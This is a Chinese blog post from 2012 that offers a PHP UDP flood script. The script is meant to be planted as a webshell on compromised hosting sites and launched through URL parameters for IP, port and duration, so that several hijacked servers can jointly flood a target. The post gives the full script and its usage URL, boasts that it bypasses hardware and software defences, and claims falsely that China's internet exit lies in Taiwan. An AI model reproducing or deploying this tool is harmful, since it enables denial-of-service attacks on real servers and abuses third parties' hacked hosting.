adwin's blog
PHP使用udp模拟http请求 - 告诉你什么才是分布式洪水
post by:adwin 2012-1-18 12:17

看见以前愤青们进行所谓的"红客大战",对越南,对伊朗,对美国的,使用CC之类的DDoS软件攻击人家,我觉得可笑之极。
因特网由国家网构成,中国国家网出口在台湾,中国国内发送的数据包再多,也要汇集到台湾一个出口再分散到各地。国内的数据再多,对其它国家来说只有台湾一个出口,就好像学校局域网,学校内部1g光纤,连网就10m,内部机器D谁都不会达到1g,最高只是10M小水管,无谓的加重台湾那里的出口压力罢了。这叫自己打自己嘴。
作者:YoCo Smart
来自Silic Group
Http://blackbap.org
(代码非原创)
这篇文章告诉你,DDoS不是只能拿到服务器才能开始。webshell比服务器多了n多,可以在世界各地。
用来模拟http请求,发送udp数据包。只有目标服务器带宽大于攻击者的才不会受影响。硬防软防屏蔽一律无视。
当然,题目是分布式,攻击来源自然不是一个,三个500m的服务器的虚拟主机webshell干掉1g带宽的服务器没问题。
用法: http://www.webshell所在网站.com/xxxx.php?ip=123.234.123.123&port(超级智能防和谐系统)=80&time=99999999999999999

Php工具代码 :

 

<?php $packets = 0; $ip = $_GET['ip']; $rand = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "Flooded: $ip on port $rand "; $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){ $out .= "X"; } while(1){ $packets++; if(time() >$max_time){ break; } $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?>
评论:
发表评论:
昵称

邮件地址 (选填)

个人主页 (选填)

内容